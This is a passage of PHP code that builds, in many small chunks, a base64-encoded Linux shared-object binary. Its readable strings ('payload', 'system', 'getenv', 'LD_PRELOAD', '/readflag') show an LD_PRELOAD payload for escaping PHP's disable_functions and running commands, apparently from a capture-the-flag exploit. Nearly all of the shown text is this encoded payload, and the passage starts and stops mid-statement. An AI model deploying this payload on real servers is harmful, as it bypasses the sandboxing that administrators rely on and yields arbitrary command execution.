$so.'AAAAAAAAQBAAAAAAAABAEAAAAAAAAA'; $so = $so.'EAAAAAAAAAEAAAAGAAAAEC4AAAAAAA'; $so = $so.'AQPgAAAAAAABA+AAAAAAAAMAIAAAAA'; $so = $so.'AAA4AgAAAAAAAAAQAAAAAAAAAgAAAA'; $so = $so.'YAAAAgLgAAAAAAACA+AAAAAAAAID4A'; $so = $so.'AAAAAADAAQAAAAAAAMABAAAAAAAACA'; $so = $so.'AAAAAAAAAEAAAABAAAAKgCAAAAAAAA'; $so = $so.'qAIAAAAAAACoAgAAAAAAACAAAAAAAA'; $so = $so.'AAIAAAAAAAAAAIAAAAAAAAAAQAAAAE'; $so = $so.'AAAAyAIAAAAAAADIAgAAAAAAAMgCAA'; $so = $so.'AAAAAAJAAAAAAAAAAkAAAAAAAAAAQA'; $so = $so.'AAAAAAAAU+V0ZAQAAACoAgAAAAAAAK'; $so = $so.'gCAAAAAAAAqAIAAAAAAAAgAAAAAAAA'; $so = $so.'ACAAAAAAAAAACAAAAAAAAABQ5XRkBA'; $so = $so.'AAABggAAAAAAAAGCAAAAAAAAAYIAAA'; $so = $so.'AAAAADQAAAAAAAAANAAAAAAAAAAEAA'; $so = $so.'AAAAAAAFHldGQGAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAABAAAAAAAAAAUuV0ZAQA'; $so = $so.'AAAQLgAAAAAAABA+AAAAAAAAED4AAA'; $so = $so.'AAAADwAQAAAAAAAPABAAAAAAAAAQAA'; $so = $so.'AAAAAAAEAAAAEAAAAAUAAABHTlUAAg'; $so = $so.'AAwAQAAAADAAAAAAAAAAQAAAAUAAAA'; $so = $so.'AwAAAEdOVQDkObEOusfhpJ6T8cgz2Y'; $so = $so.'XSUhXM5AAAAAACAAAACAAAAAEAAAAG'; $so = $so.'AAAAAIgAAIAQAAAIAAAACQAAAO2Sc/'; $so = $so.'DPSUmcAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAbAAAABIAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAEAAAACAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAXQAAABIAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAQAAACAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAcwAAABIAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAALAAAACAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAARgAAACIAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAZAAAABIA'; $so = $so.'DgCQEQAAAAAAADgAAAAAAAAAVQAAAB'; $so = $so.'IADgB5EQAAAAAAABcAAAAAAAAAAF9f'; $so = $so.'Z21vbl9zdGFydF9fAF9JVE1fZGVyZW'; $so = $so.'dpc3RlclRNQ2xvbmVUYWJsZQBfSVRN'; $so = $so.'X3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF'; $so = $so.'9fY3hhX2ZpbmFsaXplAHBheWxvYWQA'; $so = $so.'c3lzdGVtAGdldGV1aWQAZ2V0ZW52AH'; $so = $so.'Vuc2V0ZW52AGxpYmMuc28uNgBHTElC'; $so = $so.'Q18yLjIuNQAAAAIAAAACAAAAAgAAAA'; $so = $so.'IAAQABAAAAAQABAHwAAAAQAAAAAAAA'; $so = $so.'AHUaaQkAAAIAhgAAAAAAAAAQPgAAAA'; $so = $so.'AAAAgAAAAAAAAAcBEAAAAAAAAYPgAA'; $so = $so.'AAAAAAgAAAAAAAAAMBEAAAAAAAA4QA'; $so = $so.'AAAAAAAAgAAAAAAAAAOEAAAAAAAADg'; $so = $so.'PwAAAAAAAAYAAAACAAAAAAAAAAAAAA'; $so = $so.'DoPwAAAAAAAAYAAAAEAAAAAAAAAAAA'; $so = $so.'AADwPwAAAAAAAAYAAAAGAAAAAAAAAA'; $so = $so.'AAAAD4PwAAAAAAAAYAAAAHAAAAAAAA'; $so = $so.'AAAAAAAYQAAAAAAAAAcAAAABAAAAAA'; $so = $so.'AAAAAAAAAgQAAAAAAAAAcAAAADAAAA'; $so = $so.'AAAAAAAAAAAoQAAAAAAAAAcAAAAJAA'; $so = $so.'AAAAAAAAAAAAAwQAAAAAAAAAcAAAAF'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'APMPHvpIg+wISIsF2S8AAEiFwHQC/9'; $so = $so.'BIg8QIwwAAAAAA/zXiLwAA8v8l4y8A'; $so = $so.'AA8fAPMPHvpoAAAAAPLp4f///5DzDx'; $so = $so.'76aAEAAADy6dH///+Q8w8e+mgCAAAA'; $so = $so.'8unB////kPMPHvpoAwAAAPLpsf///5'; $so = $so.'DzDx768v8lfS8AAA8fRAAA8w8e+vL/'; $so = $so.'JY0vAAAPH0QAAPMPHvry/yWFLwAADx'; $so = $so.'9EAADzDx768v8lfS8AAA8fRAAA8w8e'; $so = $so.'+vL/JXUvAAAPH0QAAEiNPXkvAABIjQ'; $so = $so.'VyLwAASDn4dBVIiwUGLwAASIXAdAn/'; $so = $so.'4A8fgAAAAADDDx+AAAAAAEiNPUkvAA'; $so = $so.'BIjTVCLwAASCn+SInwSMHuP0jB+ANI'; $so = $so.'AcZI0f50FEiLBdUuAABIhcB0CP/gZg'; $so = $so.'8fRAAAww8fgAAAAADzDx76gD0FLwAA'; $so = $so.'AHUrVUiDPbIuAAAASInldAxIiz3mLg'; $so = $so.'AA6Bn////oZP///8YF3S4AAAFdww8f'; $so = $so.'AMMPH4AAAAAA8w8e+ul3////8w8e+l'; $so = $so.'VIieVIjT14DgAA6AP///+QXcPzDx76'; $so = $so.'VUiJ5UiNPWsOAADo3P7//0iFwHUHuA'; $so = $so.'AAAADrFkiNPVMOAADo9P7//7gAAAAA'; $so = $so.'6Nr+//9dw/MPHvpIg+wISIPECMMAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAvcmVhZGZsYWcATERfUFJFTE9BRA'; $so = $so.'AAAAABGwM7NAAAAAUAAAAI8P//UAAA'; $so = $so.'AFjw//94AAAAaPD//5AAAABh8f//qA'; $so = $so.'AAAHjx///IAAAAAAAAABQAAAAAAAAA'; $so = $so.'AXpSAAF4EAEbDAcIkAEAACQAAAAcAA'; $so = $so.'AAsO///1AAAAAADhBGDhhKDwt3CIAA'; $so = $so.'Pxo6KjMkIgAAAAAUAAAARAAAANjv//'; $so = $so.'8QAAAAAAAAAAAAAAAUAAAAXAAAANDv'; $so = $so.'//9AAAAAAAAAAAAAAAAcAAAAdAAAAL'; $so = $so.'Hw//8XAAAAAEUOEIYCQw0GTgwHCAAA'; $so = $so.'ABwAAACUAAAAqPD//zgAAAAARQ4Qhg'; $so = $so.'JDDQZvDAcIAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = 